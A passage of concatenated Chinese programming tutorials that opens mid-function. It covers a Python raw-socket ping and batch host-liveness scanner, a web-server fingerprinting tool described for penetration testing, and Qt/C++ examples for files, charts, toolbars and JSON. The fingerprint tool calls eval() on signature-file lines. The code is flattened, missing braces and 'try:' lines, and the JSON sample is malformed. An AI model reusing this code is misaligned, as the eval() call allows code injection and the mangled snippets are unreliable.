data_Sequence, timeout=3): while True: # 实例化select对象(非阻塞),可读,可写为空,异常为空,超时时间 what_ready = select.select([rawsocket], [], [], timeout) # 等待时间 wait_for_time = (time.time() - started_select) wait_for_time = (time.time() - send_request_ping_time) # 没有返回可读的内容,判断超时 if what_ready[0] == []: return -1 # 记录接收时间 time_received = time.time() # 设置接收的包的字节为1024 received_packet, addr = rawsocket.recvfrom(1024) # 获取接收包的icmp头 icmpHeader = received_packet[20:28] # 反转编码 type, code, r_checksum, packet_id, sequence = struct.unpack(">BBHHH", icmpHeader) if type == 0 and sequence == data_Sequence: return time_received - send_request_ping_time # 数据包的超时时间判断 timeout = timeout - wait_for_time if timeout <= 0: return -1 # 向特定地址发送一条ping命令 def send_ping(self, address): data_type = 8 data_code = 0 data_checksum = 0 data_ID = 0 data_Sequence = 1 payload_body = b'abcdefghijklmnopqrstuvwabcdefghi' # 请求ping数据包的二进制转换 icmp_packet = self.request_ping(data_type, data_code, data_checksum, data_ID, data_Sequence, payload_body) # 连接套接字,并将数据发送到套接字 send_request_ping_time, rawsocket = self.raw_socket(address, icmp_packet) # 数据包传输时间 times = self.reply_ping(send_request_ping_time, rawsocket, data_Sequence) if times > 0: return_time = int(times * 1000) return return_time else: return -1实现模仿Windows中的ping命令,代码如下:from MyPing import * if __name__ == '__main__': # 使用Ping方法 host = "www.lyshark.com" ping = MyPing() sumtime, shorttime, longtime, avgtime = 0, 1000, 0, 0 # 8回射请求 11超时 0回射应答 data_type = 8 data_code = 0 # 检验和 data_checksum = 0 data_ID = 0 data_Sequence = 1 # 可选的内容 payload_body = b'abcdefghijklmnopqrstuvwabcdefghi' dst_addr = socket.gethostbyname(host) print("正在 Ping {0} [{1}] 具有 32 字节的数据:".format(host, dst_addr)) # 发送3次 for i in range(0, 3): # 请求ping数据包的二进制转换 icmp_packet = ping.request_ping(data_type, data_code, data_checksum, data_ID, data_Sequence + i, payload_body) # 连接套接字,并将数据发送到套接字 send_request_ping_time, rawsocket = ping.raw_socket(dst_addr, icmp_packet) # 数据包传输时间 times = ping.reply_ping(send_request_ping_time, rawsocket, data_Sequence + i) if times > 0: print("来自 {0} 的回复: 字节=32 时间={1}ms".format(dst_addr, int(times * 1000))) return_time = int(times * 1000) sumtime += return_time if return_time > longtime: longtime = return_time if return_time < shorttime: shorttime = return_time time.sleep(0.7) else: print("请求超时")运行效果如下:发送一条ping探测命令,send_ping()主要用于发送一个Ping包,后期我们可以实现一个主机存活探测器,主要调用代码如下:from MyPing import * if __name__ == "__main__": # 使用Ping方法 ping = MyPing() address = ping.get_host_address("www.lyshark.com") print("域名地址: {}".format(address)) # 对单台主机Ping ref = ping.send_ping(address) if( ref != -1): print("已经连通, 抖动值: {}".format(ref))输出测试效果如下:如上我们就可以实现对特定主机执行Ping检测了,接下来我们开始编写一个能够计算出特定范围内主机数的CalculationIP()方法,并通过开线程实现一个批量主机存活探测器.from MyPing import * def CalculationIP(Addr_Count): ret = [] IP_Start = str(Addr_Count.split("/")[0]).split(".") IP_Heads = str(IP_Start[0] + "." + IP_Start[1] + "." + IP_Start[2] +".") IP_Start_Range = int(Addr_Count.split(".")[3].split("/")[0]) IP_End_Range = int(Addr_Count.split("/")[1]) for item in range(IP_Start_Range,IP_End_Range+1): ret.append(IP_Heads+str(item)) return ret except Exception: return 0 if __name__ == "__main__": ret = CalculationIP("192.168.1.1/254") for each in ret: ping = MyPing() ref = ping.send_ping(each) print("地址: {} ---> 抖动值: {}".format(each,ref))输出效果如下:参考文献:https://blog.csdn.net/Small_Teenager/article/details/122123299

Python 实现Web容器指纹识别

当今的Web安全行业在进行渗透测试时普遍第一步就是去识别目标网站的指纹,从而进一步根据目标框架进行针对性的安全测试,指纹识别的原理其实很简单,目前主流的识别方式有下面这几种。1.识别特定网页中的关键字,比对关键字识别框架.2.通过计算特定的相对独立的页面的Hash值,比对实现鉴别.3.通过指定URL的TAG模式,鉴别目标容器类型.以上的三种模式就是常见的指纹识别工具的工作原理,这里我就给大家演示第二种方式,HASH枚举。首先在识别网站指纹之前,先要尝试读取到该目标网站的标题信息,该功能实现非常简单,只需要读入页面,并去除我们所需要的"Date","Server","X-Powered-By","title"字段即可,由于代码较为简单此处就直接放出代码部分。import re,socket,threading,requests import argparse header = {'user-agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) LySharkTools'} def Banner(): print(" _ ____ _ _ ") print(" | | _ _/ ___|| |__ __ _ _ __| | __") print(" | | | | | \___ \| '_ \ / _` | '__| |/ /") print(" | |__| |_| |___) | | | | (_| | | | < ") print(" |_____\__, |____/|_| |_|\__,_|_| |_|\_\\") print(" |___/ \n") print("E-Mail: me@lyshark.com") def GetIPAddress(domain): url = str(domain.split("//")[1]) sock = socket.getaddrinfo(url,None) result = re.findall("(?:[0-9]{1,3}\.){3}[0-9]{1,3}", str(sock[0][4])) return str(result[0]) except Exception: def GetServerTitle(url): address = GetIPAddress(url) Respon = requests.get(url=url,headers=header,timeout=5) print("--" * 80) print(url + " ",end="") print(address + " ", end="") if Respon.status_code == 200: RequestBody = [item for item in Respon.headers] for item in ["Date","Server","X-Powered-By"]: if item in RequestBody: print(Respon.headers[item] + " ",end="") else: print("None" + " ",end="") title = re.findall("<title>.*</title>", Respon.content.decode("utf-8")) print(title) except Exception: if __name__ == "__main__": Banner() parser = argparse.ArgumentParser() parser.add_argument("-f","--file",dest="file",help="") args = parser.parse_args() # 使用方法: main.py -f url.log if args.file: fp = open(args.file,"r") for item in fp.readlines(): url = item.replace("\n","") thread = threading.Thread(target=GetServerTitle,args=(url,)) thread.start() else: parser.print_help()程序运行时,需要指定一个文件列表,里面包括网址每行一个以换行隔开,并使用-f指定运行参数即可。我们继续实现指纹识别功能,首先利用Requests库将目标页面读入到字符串中,然后调用MD5算法计算出该页面的HASH值并比对,由于特定框架中总是有些页面不会变动,我们则去校验这些页面的HASH值,即可实现对框架的识别,代码很简单这里就直接放出源代码。import requests import os,sys,hashlib import argparse headers = {'user-agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) LySharkTools'} def Banner(): print(" _ ____ _ _ ") print(" | | _ _/ ___|| |__ __ _ _ __| | __") print(" | | | | | \___ \| '_ \ / _` | '__| |/ /") print(" | |__| |_| |___) | | | | (_| | | | < ") print(" |_____\__, |____/|_| |_|\__,_|_| |_|\_\\") print(" |___/ \n") print("E-Mail: me@lyshark.com") def CheckFinger(url,flag,keyworld): if flag == 0: ret = requests.get(url=url,headers=headers,timeout=1) text = ret.text md5=hashlib.md5() md5.update(text.encode('utf-8')) print("目标网页Hash值: {}".format(md5.hexdigest())) else: fp = open(keyworld,"r") for i in fp.readlines(): path = url + eval(i.replace("\n", ""))["Path"] hash = eval(i.replace("\n", ""))["Hash"] web = eval(i.replace("\n", ""))["WebServer"] ret = requests.get(url=path, headers=headers, timeout=1) if ret.status_code == 200: text = ret.text md5 = hashlib.md5() md5.update(text.encode('utf-8')) if md5.hexdigest() == hash: print("目标Hash:{} CMS页面类型:{} ".format(hash,web)) else: continue if __name__ == "__main__": Banner() parser = argparse.ArgumentParser() parser.add_argument("--mode",dest="mode",help="设置检查类型 [check/get]") parser.add_argument("-u","--url",dest="url",help="指定需要检测的网站地址") parser.add_argument("-f","--file",dest="file",help="指定字典数据库 data.json") args = parser.parse_args() if args.mode == "get" and args.url: CheckFinger(args.url,0,args.file) # 检测目标容器类型: main.py --mode=check -u https://www.xxx.com -f data.json elif args.mode == "check" and args.url and args.file: CheckFinger(args.url,1,args.file) else: parser.print_help()指纹识别的重点并不在于识别工具的编写,而在于特征库是否健全,我们的工具也需要特征库,可以使用get方式提取指定页面的特征,例如:我们新建一个文件,并依次写入指纹特征以及它的相对路径信息,并增加其所对应的Web容器版本。{"Path":"/about/index.html","Hash": "9e69dd111c6cc873a1f915ca1a331b06","WebServer":"hexo"} {"Path":"/index.php","Hash": "2457dd111c6cc32461f915ca17789b06","WebServer":"typecho"}当特征库完整时,即可使用-f指定特征文件,循环获取是否匹配特征,从而判断web容器使用了那种容器。

C/C++ Qt 基本文件读写方法

Qt文件操作有两种方式,第一种使用QFile类的IODevice读写功能直接读写,第二种是利用 QFile和QTextStream结合起来,用流的方式进行文件读写。第一种,利用QFile中的相关函数,实现对文件的读写操作,QFile会调用IODevice设备,从而实现文件读写。QT基本文件读写: 通过QFile实现文本文件读写操作.#include <QCoreApplication> #include <iostream> #include <QFile> #include <QString> #include <QTextStream> // 一次读入所有文本 bool ReadFileOnly(const QString &file_path) QFile ptr(file_path); // 文件是否存在 if(!ptr.exists()) return false; // 文件是否打开 ReadOnly 以只读方式打开 WriteOnly 以只写方式打开 ReadWrite 读写方式打开 Append 以追加方式打开 Truncate 以截取方式打开(原有内容被清空) Text 以文件方式打开 if(!ptr.open(QIODevice::ReadWrite | QIODevice::Text)) return false; QString text = ptr.readAll(); std::cout << text.toStdString() << std::endl; ptr.close(); // 追加写入文本 bool WriteFileOnly(const QString &file_path, QString save) // 如果参数为空则返回假 if(file_path.isEmpty() && save.isEmpty()) return false; QFile ptr(file_path); if(!ptr.open(QIODevice::Append | QIODevice::Text)) return false; QByteArray str_bytes = save.toUtf8(); ptr.write(str_bytes,str_bytes.length()); ptr.close(); return true; }QTextStream 实现流读写: 直接使用流写入,可以使用<< 运算符,方便的写入文本。#include <QCoreApplication> #include <iostream> #include <QFile> #include <QString> #include <QTextStream> #include <QTextCodec> // 计算文件行数 qint32 get_file_count(const QString &file_path) QFile ptr(file_path); qint32 count = 0; if(ptr.open(QIODevice::ReadOnly | QIODevice::Text)) QTextStream in(&ptr); // 自动检测unicode编码,显示中文 in.setAutoDetectUnicode(true); while(!in.atEnd()) QString line = in.readLine(); std::cout << line.toStdString() << std::endl; count = count +1; return count; return 0; // 追加写入数据 bool write_file_stream(const QString &file_path, QString save) QFile ptr(file_path); if(ptr.open(QIODevice::Append | QIODevice::Text)) QTextStream in(&ptr); in << save; ptr.close(); return true; int main(int argc, char *argv[]) QCoreApplication a(argc, argv); // 设置编码 QTextCodec *codec = QTextCodec::codecForName("utf-8"); QTextCodec::setCodecForLocale(codec); // 流写入 write_file_stream("d://test.txt","hello lyshark"); write_file_stream("d://test.txt","你好,世界"); // 取文本长度 qint32 count = get_file_count("d://test.txt"); std::cout << "line = > " << count << std::endl; return a.exec();

C/C++ Qt QChart 绘图组件应用

QtCharts 组件是QT中提供图表绘制的模块,该模块可以方便的绘制常规图形,Qtcharts 组件基于GraphicsView模式实现,其核心是QChartView和QChart的二次封装版。在使用绘图模块时需要在pro文件中包含QT += charts来引入绘图类库。然后还需在头文件中定义QT_CHARTS_USE_NAMESPACE宏,这样才可以正常的使用绘图功能。一般情况下我们会在mainwindows.h头文件中增加如下代码段。#include <QMainWindow> #include <QtCharts> QT_CHARTS_USE_NAMESPACE // 解决MSVC编译时,界面汉字乱码的问题 #if _MSC_VER >= 1600 #pragma execution_character_set("utf-8") #endif由于QT中不存在单独的绘图画布,因此在绘图前我们需要在窗体中放入一个graphicsView组件。并在该组件上右键将其提升为QChartView输入需要提升的组件名称,即可将该组件提升为全局绘图组件。绘制折线图: 折线图的使用非常广泛,如下代码我们首先使用InitChart()将画布初始化,接着调用SetData()实现在画布中填充数据,完整代码如下。#include "mainwindow.h" #include "ui_mainwindow.h" // 初始化Chart图表 void MainWindow::InitChart() // 创建图表的各个部件 QChart *chart = new QChart(); chart->setTitle("系统性能统计图"); // 将Chart添加到ChartView ui->graphicsView->setChart(chart); // this->setCentralWidget( ui->graphicsView); ui->graphicsView->setRenderHint(QPainter::Antialiasing); // 设置图表主题色 ui->graphicsView->chart()->setTheme(QChart::ChartTheme(0)); // 创建曲线序列 QLineSeries *series0 = new QLineSeries(); QLineSeries *series1 = new QLineSeries(); series0->setName("一分钟负载"); series1->setName("五分钟负载"); // 序列添加到图表 chart->addSeries(series0); chart->addSeries(series1); // 其他附加参数 series0->setPointsVisible(false); // 设置数据点可见 series1->setPointLabelsVisible(false); // 设置数据点数值可见 // 创建坐标轴 QValueAxis *axisX = new QValueAxis; // X轴 axisX->setRange(1, 100); // 设置坐标轴范围 axisX->setTitleText("X轴标题"); // 标题 axisX->setLabelFormat("%d %"); // 设置x轴格式 axisX->setTickCount(3); // 设置刻度 axisX->setMinorTickCount(3); QValueAxis *axisY = new QValueAxis; // Y轴 axisY->setRange(0, 100); // Y轴范围(-1 - 20) axisY->setTitleText("Y轴标题"); // 标题 // 设置X于Y轴数据集 chart->setAxisX(axisX, series0); // 为序列设置坐标轴 chart->setAxisY(axisY, series0); chart->setAxisX(axisX, series1); // 为序列设置坐标轴 chart->setAxisY(axisY, series1); // 图例被点击后触发 foreach (QLegendMarker* marker, chart->legend()->markers()) QObject::disconnect(marker, SIGNAL(clicked()), this, SLOT(on_LegendMarkerClicked())); QObject::connect(marker, SIGNAL(clicked()), this, SLOT(on_LegendMarkerClicked())); // 为序列生成数据 void MainWindow::SetData() // 获取指针 QLineSeries *series0=(QLineSeries *)ui->graphicsView->chart()->series().at(0); QLineSeries *series1=(QLineSeries *)ui->graphicsView->chart()->series().at(1); // 清空图例 series0->clear(); series1->clear(); // 赋予数据 qreal t=0,intv=1; for(int i=1;i<100;i++) series0->append(t,i); // 设置轴粒度以及数据 series1->append(t,i+10); // 此处用随机数替代 t+=intv; // X轴粒度 // 将添加的widget控件件提升为QChartView类 MainWindow::MainWindow(QWidget *parent) :QMainWindow(parent),ui(new Ui::MainWindow) ui->setupUi(this); InitChart(); SetData(); MainWindow::~MainWindow() delete ui; // 图例点击后显示与隐藏线条 void MainWindow::on_LegendMarkerClicked() QLegendMarker* marker = qobject_cast<QLegendMarker*> (sender()); switch (marker->type()) case QLegendMarker::LegendMarkerTypeXY: marker->series()->setVisible(!marker->series()->isVisible()); marker->setVisible(true); qreal alpha = 1.0; if (!marker->series()->isVisible()) alpha = 0.5; QColor color; QBrush brush = marker->labelBrush(); color = brush.color(); color.setAlphaF(alpha); brush.setColor(color); marker->setLabelBrush(brush); brush = marker->brush(); color = brush.color(); color.setAlphaF(alpha); brush.setColor(color); marker->setBrush(brush); QPen pen = marker->pen(); color = pen.color(); color.setAlphaF(alpha); pen.setColor(color); marker->setPen(pen); break; default: break; }效果如下所示:绘制饼状图: 饼状图用于统计数据的集的占用百分比,其绘制方式与折线图基本一致,代码如下。#include "mainwindow.h" #include "ui_mainwindow.h" // 饼状图A void MainWindow::printA() // 构造数据 [已用CPU 60%] [剩余CPU 40%] QPieSlice *slice_1 = new QPieSlice(QStringLiteral("已使用"), 0.6, this); slice_1->setLabelVisible(true); QPieSlice *slice_2 = new QPieSlice(QStringLiteral("可用"), 0.4, this); slice_2->setLabelVisible(true); // 将两个饼状分区加入series QPieSeries *series = new QPieSeries(this); series->append(slice_1); series->append(slice_2); // 创建Chart画布 QChart *chart = new QChart(); chart->addSeries(series); chart->setAnimationOptions(QChart::AllAnimations); // 设置显示时的动画效果 chart->setTitle("系统CPU利用率"); // 将参数设置到画布 ui->graphicsView->setChart(chart); ui->graphicsView->setRenderHint(QPainter::Antialiasing); ui->graphicsView->chart()->setTheme(QChart::ChartTheme(0)); // 饼状图B void MainWindow::printB() // 构造数据 [C盘 20%] [D盘 30%] [E盘 50%] QPieSlice *slice_c = new QPieSlice(QStringLiteral("C盘"), 0.2, this); slice_c->setLabelVisible(true); QPieSlice *slice_d = new QPieSlice(QStringLiteral("D盘"), 0.3, this); slice_d->setLabelVisible(true); QPieSlice *slice_e = new QPieSlice(QStringLiteral("E盘"),0.5,this); slice_e->setLabelVisible(true); // 将两个饼状分区加入series QPieSeries *series = new QPieSeries(this); series->append(slice_c); series->append(slice_d); series->append(slice_e); // 创建Chart画布 QChart *chart = new QChart(); chart->addSeries(series); chart->setAnimationOptions(QChart::AllAnimations); // 设置显示时的动画效果 chart->setTitle("系统磁盘信息"); // 将参数设置到画布 ui->graphicsView_2->setChart(chart); ui->graphicsView_2->setRenderHint(QPainter::Antialiasing); ui->graphicsView_2->chart()->setTheme(QChart::ChartTheme(3)); // 设置不同的主题 // 将添加的widget控件件提升为QChartView类 MainWindow::MainWindow(QWidget *parent) :QMainWindow(parent),ui(new Ui::MainWindow) ui->setupUi(this); printA(); printB(); MainWindow::~MainWindow() delete ui; }效果如下所示:绘制柱状图: 柱状图可用于一次展示多个用户数据,大体是使用上与折线图大体一致,其代码如下:#include "mainwindow.h" #include "ui_mainwindow.h" MainWindow::MainWindow(QWidget *parent) :QMainWindow(parent),ui(new Ui::MainWindow) ui->setupUi(this); // 创建人名 QBarSet *set0 = new QBarSet("张三"); QBarSet *set1 = new QBarSet("李四"); QBarSet *set2 = new QBarSet("王五"); QBarSet *set3 = new QBarSet("苏三"); QBarSet *set4 = new QBarSet("刘麻子"); // 分别为不同人添加bu不同数据集 *set0 << 1 << 2 << 8 << 4 << 6 << 6; *set1 << 5 << 2 << 5 << 4 << 5 << 3; *set2 << 5 << 5 << 8 << 15 << 9 << 5; *set3 << 8 << 6 << 7 << 5 << 4 << 5; *set4 << 4 << 7 << 5 << 3 << 3 << 2; // 将数据集关联到series中 QBarSeries *series = new QBarSeries(); series->append(set0); series->append(set1); series->append(set2); series->append(set3); series->append(set4); // 增加顶部提示 QChart *chart = new QChart(); chart->addSeries(series); chart->setTitle("当前人数统计"); chart->setAnimationOptions(QChart::SeriesAnimations); // 创建X轴底部提示 QStringList categories; categories << "周一" << "周二" << "周三" << "周四" << "周五" << "周六"; QBarCategoryAxis *axis = new QBarCategoryAxis(); axis->append(categories); chart->createDefaultAxes(); chart->setAxisX(axis, series); chart->legend()->setVisible(true); chart->legend()->setAlignment(Qt::AlignBottom); // 将参数设置到画布 ui->graphicsView->setChart(chart); ui->graphicsView->setRenderHint(QPainter::Antialiasing); ui->graphicsView->chart()->setTheme(QChart::ChartTheme(0)); MainWindow::~MainWindow() delete ui; }效果如下所示:

C/C++ Qt ToolBar 菜单栏组件应用

ToolBar工具栏在所有窗体应用程序中都广泛被使用,使用ToolBar可以很好的规范菜单功能分类,用户可根据菜单栏来选择不同的功能,Qt中默认自带ToolBar组件,当我们以默认方式创建窗体时,ToolBar就被加入到了窗体中,一般是以QToolBar的方式存在于对象菜单栏,如下所示。QToolBar组件在开发中我遇到了以下这些功能,基本上可以应对大部分开发需求了,这里就做一个总结。顶部工具栏ToolBar组件的定义有多种方式,我们可以直接通过代码生成,也可以使用图形界面UI拖拽实现,但使用代码时间则更加灵活一些,ToolBar组件可以表现出多种形态.首先来看一个简单的生成案例,如下代码中我们通过属性setAllowedAreas()可以实现将ToolBar组件放置到上下左右四个不同的方位上面.#include "mainwindow.h" #include "ui_mainwindow.h" #include <iostream> #include <QMenuBar> #include <QToolBar> MainWindow::MainWindow(QWidget *parent) :QMainWindow(parent),ui(new Ui::MainWindow) ui->setupUi(this); // ---------------------------------------------------------- // 创建菜单栏 QMenuBar *bar = menuBar(); this->setMenuBar(bar); // 将菜单栏放入主窗口 QMenu * fileMenu = bar->addMenu("文件"); // 创建父节点 // 添加子菜单 QAction *newAction = fileMenu->addAction("新建文件"); // 设置名字 //newAction->setIcon(QIcon("://image/1.ico")); // 设置可用图标 fileMenu->addSeparator(); // 添加分割线 QAction *openAction = fileMenu->addAction("打开文件"); // 设置名字 //openAction->setIcon(QIcon("://image/2.ico")); // 设置可用图标 // ---------------------------------------------------------- //创建工具栏 QToolBar *toolBar = new QToolBar(this); // 创建工具栏 addToolBar(Qt::LeftToolBarArea,toolBar); // 设置默认停靠范围 [默认停靠左侧] toolBar->setAllowedAreas(Qt::TopToolBarArea |Qt::BottomToolBarArea); // 允许上下拖动 toolBar->setAllowedAreas(Qt::LeftToolBarArea |Qt::RightToolBarArea); // 允许左右拖动 toolBar->setFloatable(false); // 设置是否浮动 toolBar->setMovable(false); // 设置工具栏不允许移动 // 工具栏添加菜单项 toolBar->addAction(newAction); toolBar->addSeparator(); toolBar->addAction(openAction); // By : LyShark // https://www.cnblogs.com/lyshark // ---------------------------------------------------------- // 绑定槽函数 connect(newAction,&QAction::triggered,this,[=](){ std::cout << "new action" << std::endl; connect(openAction,&QAction::triggered,this,[=](){ std::cout << "open action" << std::endl; MainWindow::~MainWindow() delete ui; }接着通过代码的方式实现一个顶部菜单栏,该菜单栏中可以通过SetIcon(QIcon("://image/1.ico"));指定图标,也可以使用setShortcut(Qt::CTRL | Qt::Key_C);为其指定特殊的快捷键。#include "mainwindow.h" #include "ui_mainwindow.h" #include <iostream> #include <QMenuBar> #include <QToolBar> MainWindow::MainWindow(QWidget *parent) :QMainWindow(parent),ui(new Ui::MainWindow) ui->setupUi(this); // ---------------------------------------------------------- // 创建菜单栏 QMenuBar *bar = menuBar(); this->setMenuBar(bar); //将菜单栏放入主窗口 QMenu * fileMenu = bar->addMenu("文件"); // By : LyShark // https://www.cnblogs.com/lyshark // 添加子菜单 QAction *newAction = fileMenu->addAction("新建文件"); // 添加名字 newAction->setIcon(QIcon(":/image/1.ico")); // 设置ICO图标 newAction->setShortcut(Qt::CTRL | Qt::Key_A); // 设置快捷键ctrl+a fileMenu->addSeparator(); // 添加分割线 QAction *openAction = fileMenu->addAction("打开文件"); openAction->setIcon(QIcon(":/image/2.ico")); openAction->setShortcut(Qt::CTRL | Qt::Key_C); // 设置快捷键ctrl+c // ---------------------------------------------------------- // 创建工具栏(可屏蔽掉,屏蔽掉后底部将失去控件栏位) QToolBar *toolBar = new QToolBar(this); // 创建工具栏 addToolBar(Qt::BottomToolBarArea,toolBar); // 设置默认停靠范围(停靠在底部) toolBar->setFloatable(false); // 设置是否浮动为假 toolBar->setMovable(false); // 设置工具栏不允许移动 // 工具栏添加菜单项 toolBar->addAction(newAction); // 工具栏添加[新建文件] toolBar->addSeparator(); // 添加分割线 toolBar->addAction(openAction); // 添加[打开文件] // ---------------------------------------------------------- // 绑定信号和槽 connect(newAction,&QAction::triggered,this,[=](){ std::cout << "new file slot" << std::endl; connect(openAction,&QAction::triggered,this,[=](){ std::cout << "open file slot" << std::endl; MainWindow::~MainWindow() delete ui; }实现顶部菜单栏二级菜单,二级顶部菜单与一级菜单完全一致,只是在一级菜单的基础上进行了延申,如下代码则是定义了一个二级菜单。#include "mainwindow.h" #include "ui_mainwindow.h" #include <iostream> #include <QMenuBar> #include <QToolBar> MainWindow::MainWindow(QWidget *parent) :QMainWindow(parent),ui(new Ui::MainWindow) ui->setupUi(this); // ---------------------------------------------------------- // 多层菜单导航栏 QMenuBar *MainMenu = new QMenuBar(this); this->setMenuBar(MainMenu); // 1.定义父级菜单 QMenu *EditMenu = MainMenu->addMenu("编辑"); // 1.1 定义 EditMemu 下面的子菜单 QAction *text = new QAction(EditMenu); text->setText("编辑文件"); // 设置文本内容 text->setShortcut(Qt::CTRL | Qt::Key_A); // 设置快捷键ctrl+a text->setIcon(QIcon(":/image/1.ico")); // 增加图标 EditMenu->addAction(text); EditMenu->addSeparator(); // 在配置模式与编辑文件之间增加虚线 QAction *option = new QAction(EditMenu); option->setText("配置模式"); option->setIcon(QIcon(":/image/2.ico")); EditMenu->addAction(option); // 1.1.2 定义Option配置模式下的子菜单 QMenu *childMenu = new QMenu(); QAction *set_file = new QAction(childMenu); set_file->setText("设置文件内容"); set_file->setIcon(QIcon(":/image/3.ico")); childMenu->addAction(set_file); QAction *read_file = new QAction(childMenu); read_file->setText("读取文件内容"); read_file->setIcon(QIcon(":/image/2.ico")); childMenu->addAction(read_file); // ---------------------------------------------------------- // 注册菜单到窗体中 // By : LyShark // https://www.cnblogs.com/lyshark // 首先将childMenu注册到option中 option->setMenu(childMenu); // 然后再将childMenu加入到EditMenu中 EditMenu->addMenu(childMenu); // ---------------------------------------------------------- // 绑定信号和槽 connect(text,&QAction::triggered,this,[=](){ std::cout << "edit file slot" << std::endl; connect(set_file,&QAction::triggered,this,[=](){ std::cout << "set file slot" << std::endl; connect(read_file,&QAction::triggered,this,[=](){ std::cout << "read file slot" << std::endl; MainWindow::~MainWindow() delete ui; }Qt中的菜单还可以实现任意位置的弹出,例如我们可以将右击customContextMenuRequested()事件,绑定到主窗口中,实现在窗体任意位置右击都可以弹出菜单栏,代码如下。#include "mainwindow.h" #include "ui_mainwindow.h" #include <QMenuBar> #include <iostream> MainWindow::MainWindow(QWidget *parent) :QMainWindow(parent),ui(new Ui::MainWindow) ui->setupUi(this); this->setContextMenuPolicy(Qt::CustomContextMenu); MainWindow::~MainWindow() delete ui; // 在主界面右击->转到customContextMenuRequested槽 // By : LyShark // https://www.cnblogs.com/lyshark void MainWindow::on_MainWindow_customContextMenuRequested(const QPoint &pos) // 创建菜单对象 QMenu *pMenu = new QMenu(this); QAction *pNewTask = new QAction(tr("新建"), this); QAction *pEditTask = new QAction(tr("编辑"), this); QAction *pDeleteTask = new QAction(tr("删除"), this); // 设置属性值编号: 1=>新建 2=>设置 3=>删除 pNewTask->setData(1); pEditTask->setData(2); pDeleteTask ->setData(3); // 把QAction对象添加到菜单上 pMenu->addAction(pNewTask); pMenu->addAction(pEditTask); pMenu->addAction(pDeleteTask); // 增加图标 pNewTask->setIcon(QIcon(":/image/1.ico")); pEditTask->setIcon(QIcon(":/image/2.ico")); pDeleteTask->setIcon(QIcon(":/image/3.ico")); // 连接鼠标右键点击信号 connect(pNewTask, SIGNAL(triggered()), this, SLOT(onTaskBoxContextMenuEvent())); connect(pEditTask, SIGNAL(triggered()), this, SLOT(onTaskBoxContextMenuEvent())); connect(pDeleteTask, SIGNAL(triggered()), SLOT(onTaskBoxContextMenuEvent())); // 在鼠标右键点击的地方显示菜单 pMenu->exec(QCursor::pos()); //释放内存 QList<QAction*> list = pMenu->actions(); foreach (QAction* pAction, list) delete pAction; delete pMenu; // 处理发送过来的信号 void MainWindow::onTaskBoxContextMenuEvent() // this->sender()就是信号发送者 QAction QAction *pEven = qobject_cast<QAction *>(this->sender()); // 获取编号: 1=>新建 2=>设置 3=>删除 int iType = pEven->data().toInt(); switch (iType) case 1: std::cout << "新建任务" << std::endl; break; case 2: std::cout << "设置任务" << std::endl; break; case 3: std::cout << "删除任务" << std::endl; break; default: break; }还可以将顶部的菜单通过bar->setVisible(false);属性将其隐藏起来,对外只展示出一个ToolBar控件栏位,ToolBar控件栏中只保留ICO图标与底部文字描述,这样能显得更加清爽一些。#include "mainwindow.h" #include "ui_mainwindow.h" #include <QMenuBar> #include <QToolBar> #include <iostream> MainWindow::MainWindow(QWidget *parent) :QMainWindow(parent),ui(new Ui::MainWindow) ui->setupUi(this); // ---------------------------------------------------------- // 隐藏菜单栏上的右击菜单 this->setContextMenuPolicy(Qt::NoContextMenu); // 创建基础顶部菜单并让其隐藏 QMenuBar *bar = menuBar(); this->setMenuBar(bar); QMenu * fileMenu = bar->addMenu("Ptr"); bar->setVisible(false); // 隐藏菜单 // 添加子菜单 QAction *NewAction = fileMenu->addAction("新建文件"); QAction *OpenAction = fileMenu->addAction("打开文件"); QAction *ReadAction = fileMenu->addAction("读入文件"); // 分别设置图标 NewAction->setIcon(QIcon(":/image/1.ico")); OpenAction->setIcon(QIcon(":/image/2.ico")); ReadAction->setIcon(QIcon(":/image/3.ico")); // 创建工具栏 QToolBar *toolBar = new QToolBar(this); addToolBar(Qt::TopToolBarArea,toolBar); // 将菜单项依次添加到工具栏 toolBar->addAction(NewAction); toolBar->addAction(OpenAction); toolBar->addAction(ReadAction); // 设置禁止移动属性,工具栏默认贴在上方 toolBar->setFloatable(false); toolBar->setMovable(false); toolBar->setToolButtonStyle(Qt::ToolButtonTextUnderIcon); // ---------------------------------------------------------- // 绑定槽函数 // By : LyShark // https://www.cnblogs.com/lyshark connect(NewAction,&QAction::triggered,this,[=](){ std::cout << "new action" << std::endl; connect(OpenAction,&QAction::triggered,this,[=](){ std::cout << "open action" << std::endl; connect(ReadAction,&QAction::triggered,this,[=](){ std::cout << "read action" << std::endl; MainWindow::~MainWindow() delete ui;

C/C++ Qt 运用JSON解析库 [解析篇]

JSON是一种简单的轻量级数据交换格式,Qt库为JSON的相关操作提供了完整的类支持,使用JSON解析文件之前需要先通过TextStream流将文件读入到字符串变量内,然后再通过QJsonDocument等库对该JSON格式进行解析,以提取出我们所需字段。首先创建一个解析文件,命名为config.json我们将通过代码依次解析这个JSON文件中的每一个参数,具体解析代码如下:{ "blog": "https://www.cnblogs.com/lyshark", "enable": true, "status": 1024, "GetDict": {"address":"192.168.1.1","username":"root","password":"123456","update":"2020-09-26"}, "GetList": [1,2,3,4,5,6,7,8,9,0], "ObjectInArrayJson": "One": ["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"], "Two": ["Sunday","Monday","Tuesday"] "ArrayJson": [ ["192.168.1.1","root","22"], ["192.168.1.2","root","23"], ["192.168.1.3","root","24"], ["192.168.1.4","root","25"], ["192.168.1.5","root","26"] "ObjectJson": [ {"address":"192.168.1.1","username":"admin"}, {"address":"192.168.1.2","username":"root"}, {"address":"192.168.1.3","username":"lyshark"} "ObjectArrayJson": [ {"uname":"root","ulist":[1,2,3,4,5]}, {"uname":"lyshark","ulist":[11,22,33,44,55,66,77,88,99]} "NestingObjectJson": [ "uuid": "1001", "basic": { "lat": "12.657", "lon": "55.789" "uuid": "1002", "basic": { "lat": "31.24", "lon": "25.55" "ArrayNestingArrayJson": "telephone": "1323344521", "path": [ 11.5,22.4,56.9 19.4,34.6,44.7 }首先实现读写文本文件,通过QT中封装的<QFile>库可实现对文本文件的读取操作,读取JSON文件可使用该方式.#include <QCoreApplication> #include <iostream> #include <QString> #include <QTextStream> #include <QFile> #include <QDir> #include <QFileInfo> #include <QJsonDocument> #include <QJsonParseError> #include <QJsonObject> #include <QJsonArray> #include <QJsonValue> #include <QJsonValueRef> // 传入文本路径,读取并输出 // 